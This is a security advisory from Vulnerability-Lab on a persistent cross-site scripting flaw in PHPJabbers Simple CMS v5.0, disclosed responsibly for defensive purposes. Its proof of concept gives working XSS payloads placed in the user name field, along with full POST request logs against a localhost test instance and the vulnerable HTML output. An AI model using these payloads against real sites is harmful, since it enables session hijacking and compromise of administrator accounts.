Document Title:
===============
PHPJabbers Simple CMS v5 - Persistent XSS Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2300
Release Date:
=============
2021-10-28
Vulnerability Laboratory ID (VL-ID):
====================================
2300
Common Vulnerability Scoring System:
====================================
5.4
Vulnerability Class:
====================
Cross Site Scripting - Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
A simple PHP content management system for easy web content editing and
publishing. Our PHP Content Management System script is designed
to provide you with powerful yet easy content administration tools. The smart
CMS lets you create and manage multiple types of web sections
and easily embed them into your website. You can upload a wide range of files
and add users with different user access levels. Get the
Developer License and customize the script to fit your specific needs.
(Copy of the Homepage:https://www.phpjabbers.com/simple-cms/ )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input
validation vulnerability in the PHPJabbers Simple CMS v5.0 web-application.
Affected Product(s):
====================
PHPJabbers
Product: PHPJabbers Simple CMS v5.0 - (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-10-28: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Restricted Authentication (Moderator Privileges)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the in
the PHPJabbers Simple CMS v5.0 web-application.
The vulnerability allows remote attackers to inject own malicious script codes
with persistent attack vector to compromise
browser to web-application requests from the application-side.
The persistent vulnerability is located in the create (pjActionCreate) and
update (pjActionUpdate) post method request.
Privileged authenticated accounts with ui access are able to inject own
malicious script code as name for users.
The script code execution is performed after the inject via post method in the
user list (pjAdminUsers).
Successful exploitation of the vulnerabilities results in session hijacking,
persistent phishing attacks, persistent external
redirects to malicious source and persistent manipulation of affected
application modules.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] Create (Add)
[+] Update
Vulnerable Parameter(s):
[+] pjActionCreate
[+] pjActionUpdate
Affected Module(s):
[+] pjAdminUsers
Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by remote attackers with
privilged user accounts with low user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Payloads
"><img src=evil.source onload=alert(document.cookie)>
"><img src=evil.source onload=alert(document.domain)>
--- PoC Session Logs (POST) [Add & Update]
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
Host: phpjabbers-cms.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin:https://phpjabbers-cms.localhost:8080
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6;
pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx;
simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
user_create=1&role_id=2&email=test@ftp.world&password=test2&name=r"><img src=evil.source
onload=alert(document.cookie)>§ion_allow=1&file_allow=1&status=T
-
POST: HTTP/1.1 303
Server: Apache/2.2.15 (CentOS)
Location:
/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
--
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
Host: phpjabbers-cms.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 180
Origin:https://phpjabbers-cms.localhost:8080
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate&id=2
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6;
pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx;
simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
user_update=1&id=2&role_id=2&email=test@xxxxxxx&password=test&name=r"><img src=evil.source
onload=alert(document.cookie)>§ion_allow=1&file_allow=1&status=T
-
POST: HTTP/1.1 303
Server: Apache/2.2.15 (CentOS)
Location:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU01
Keep-Alive: timeout=10, max=83
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
-
https://phpjabbers-cms.localhost:8080/1630949262_438/evil.source
Host: phpjabbers-cms.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Referer:https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionIndex&err=AU03
Cookie: PHPSESSID=1u09ltqr9cm9fivco678g5rdk6;
pj_sid=PJ1.0.9421452714.1630949247; pj_so=PJ1.0.8128760084.1630949247;
_gcl_au=1.1.1647551187.1630949248; __zlcmid=15wkJNPYavCwzgx;
simpleCMS=5if2dl1gd2siru197tojj4r7u5;
pjd=f9843n906jef7det6cn5shusd1; pjd_1630949262_438=1
-
GET: HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Content-Length: 380
Keep-Alive: timeout=10, max=89
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
Vulnerable Source: index.php?controller=pjAdminUsers
(&action=pjActionIndex&err=AU03)
<select data-name="status" style="display: none;" class="pj-form-field pj-form-select
pj-selector-editable"><option value="T">Active</option>
<option value="F">Inactive</option></select></td><td><a
href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=1"
class="pj-table-icon-edit"></a></td></tr><tr class="pj-table-row-even" data-id="id_3"><td><input
type="checkbox" name="record[]" value="3"
class="pj-table-select-row"></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label">r"><img src="evil.source"
onload="alert(document.cookie)"></img></span>
<input type="text" data-name="name" style="display: none;" class="pj-form-field
pj-form-text
pj-selector-editable" value="r"><img src=evil.source
onload=alert(document.cookie)>"></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label">test@ftp.world</span><input type="text"
data-name="email" style="display: none;"
class="pj-form-field pj-form-text pj-selector-editable" value="test@ftp.world"></td><td><span
class="pj-table-cell-label">06-09-2021</span></td>
<td><span class="pj-table-cell-label"><span class="label-status
user-role-editor">editor</span></span></td><td class="pj-table-cell-editable">
<span class="pj-table-cell-label pj-status pj-status-T">Active</span><select
data-name="status" style="display: none;"
class="pj-form-field pj-form-select pj-selector-editable"><option value="T">Active</option><option
value="F">Inactive</option></select></td>
<td><a href="index.php?controller=pjAdminUsers&action=pjActionUpdate&id=3"
class="pj-table-icon-edit"></a>
<a href="index.php?controller=pjAdminUsers&action=pjActionDeleteUser&id=3"
class="pj-table-icon-delete"></a></td></tr></tbody></table>
Reference(s):
https://phpjabbers-cms.localhost:8080/
https://phpjabbers-cms.localhost:8080/1630949262_438/
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionUpdate
https://phpjabbers-cms.localhost:8080/1630949262_438/index.php?controller=pjAdminUsers&action=pjActionCreate
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data.
Domains:www.vulnerability-lab.com www.vuln-lab.com
www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com
infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab
youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php
vulnerability-lab.com/rss/rss_upcoming.php
vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php
vulnerability-lab.com/register.php
vulnerability-lab.com/list-of-bug-bounty-programs.php
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2021 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
Attachment:
OpenPGP_0x95DC813F243F1D61.asc
Description: OpenPGP public key
Attachment:
OpenPGP_signature
Description: OpenPGP digital signature
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/